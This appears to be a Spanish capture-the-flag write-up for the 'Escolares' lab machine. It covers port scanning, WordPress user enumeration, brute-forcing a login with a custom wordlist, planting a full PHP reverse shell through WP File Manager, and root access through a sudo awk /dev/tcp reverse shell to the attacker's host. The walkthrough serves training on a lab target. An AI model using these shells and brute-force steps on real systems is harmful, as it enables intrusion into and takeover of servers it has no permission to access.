> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/escolares-write-up.md).

# Escolares write-up

## **Verificamos la conexión con la máquina víctima**

<figure><img src="/files/yi2TRxt0U54qe8kuA5MN" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de los puertos abiertos de la máquina víctima**

Utilizamos **nmap** para escanear los puertos abiertos en la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/KJHBbMVkWglryx1A5umA" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que los puertos 22 (SSH) y 80 (HTTP) están abiertos. Por ello, ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/Yrd2z8P8A3tIAcTAqAxG" alt=""><figcaption></figcaption></figure>

Ahora utilizaremos la herramienta **dirb** para buscar rutas ocultas con el siguiente comando:

```bash
dirb http://172.17.0.2/ 
```

<figure><img src="/files/ZooHPrc6VjccVfC4oDei" alt=""><figcaption></figcaption></figure>

Observamos que nos encontramos con un sitio WordPress, así que ponemos la siguiente dirección `http://172.17.0.2/wordpress/wp-login.php` en el navegador y nos muestra lo siguiente:

<figure><img src="/files/OULnC0996SG20yhnNFzy" alt=""><figcaption></figcaption></figure>

Si revisamos el código fuente, encontramos lo siguiente:

<figure><img src="/files/DGLSYo5LxRCmzzxBQkxZ" alt=""><figcaption></figcaption></figure>

Esto nos indica que el dominio `escolares.dl` tiene que apuntar a la IP `172.17.0.2`, así que vamos a cambiar el archivo `/etc/hosts` para hacer la resolución DNS de la siguiente manera:

```bash
sudo nano /etc/hosts
```

<figure><img src="/files/w0ZuoSSGtfV1SG3yF6n4" alt=""><figcaption></figcaption></figure>

Una vez hecho esto ya podemos entrar a `http://escolares.dl/wordpress/wp-login.php` sin problemas.

<figure><img src="/files/OCV5O9cBbqEVHRwbtgey" alt=""><figcaption></figcaption></figure>

Ahora utilizaremos la herramienta wpscan para enumerar usuarios, ya que el login de wordpress avisa en caso de que el usuario sea correcto pero la contraseña no sea valida, para explotar esto vamos a ejecutar el siguiente comando:

```bash
wpscan --url http://172.17.0.2/wordpress --enumerate u  
```

<figure><img src="/files/5S1NSRxY4gum3VFPo83Z" alt=""><figcaption></figcaption></figure>

Esto nos indica que `luisillo` es un usuario válido. Ahora podríamos intentar un ataque de fuerza bruta con el rockyou pero no nos da ningún resultado, sin embargo, si investigamos por la página web principal vemos un apartado de `profesores` que contiene lo siguiente:

<figure><img src="/files/fvRJjUzhgNuK2ecm93tt" alt=""><figcaption></figcaption></figure>

Ahora Crearemos un diccionario con la herramienta cupp utilizando los datos disponibles, como la fecha de nacimiento, la cual la puedes descargar [aquí](https://github.com/Mebus/cupp/tree/master). Una vez descargado lo ejecutamos de la siguiente manera:

```bash
python3 cupp.py -i 
```

<figure><img src="/files/Na72qPjLyDiW2oO7yYsV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4KdsPXJRwvGDwUfNiAHE" alt=""><figcaption></figcaption></figure>

Una vez hecho el diccionario volvemos a usar **wpscan** para realizar un ataque de fuerza bruta con el siguiente comando:

```bash
wpscan --url http://172.17.0.2/wordpress -U luisillo --passwords luis.txt
```

<figure><img src="/files/3GhEjl2ZPYrwzXrHvcDj" alt=""><figcaption></figcaption></figure>

El ataque nos revela que la contraseña de 'luisillo' es 'Luis1981'. Iniciamos sesión con esas credenciales en <http://escolares.dl/wordpress/wp-login.php>.

<figure><img src="/files/qDcUGWkR0SAWzqLJrCH8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/RjwLd6soR0If7wzEzEng" alt=""><figcaption></figcaption></figure>

Una vez dentro, hacemos clic en 'WP File Manager', ahora modificaremos el código de cualquier archivo PHP, insertando el siguiente código malicioso, el cual nos enviará una shell interactiva a la IP y puerto especificados:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

<figure><img src="/files/bKVigULlpAyWHOcUzD98" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/G3mSpF6u9SRZcB2MdlX1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fvJdjyOPI76dgiaoAMdT" alt=""><figcaption></figcaption></figure>

Ahora nos ponemos en escucha con **netcat** por la IP y el puerto introducido y ponemos `http://escolares.dl/wordpress/<archivo editado>`.

```bash
sudo nc -nlvvp 444
```

<figure><img src="/files/1xIsevKzqloW43CwzwQh" alt=""><figcaption></figcaption></figure>

Y ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima nos encontramos el fichero `/home/secret.txt` el cual parece contener la contraseña del usuario `luisillo`.

<figure><img src="/files/5YYs7PiuswIIVhtzMa8r" alt=""><figcaption></figcaption></figure>

AUsamos la contraseña 'luisillopasswordsecret' para iniciar sesión como el usuario `luisillo`.

```bash
su luisillo
```

Una vez autenticados como `luisillo`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/bin/awk` como cualquier usuario sin necesidad de contraseña.

<figure><img src="/files/PMWKBXRb39uKCEWElLwH" alt=""><figcaption></figcaption></figure>

Por lo tanto, vamos a ponernos en escucha con netcat por el puerto 4444 en nuestra máquina hosts con el siguiente comando:

```bash
sudo nc -nlvvp 4444
```

Y ahora vamos a ejecutar el siguiente comando en la máquina víctima para enviarnos un shell interactiva con permisos elevados:

```bash
sudo awk 'BEGIN {system("/bin/bash -c \"bash -i >/dev/tcp/172.17.0.1/4444 0<&1 2>&1\"")}'
```

<figure><img src="/files/hULSXnPtNUKByCZMoPbT" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/pGlrXfAe2kvcq81y8fTd" alt=""><figcaption></figcaption></figure>
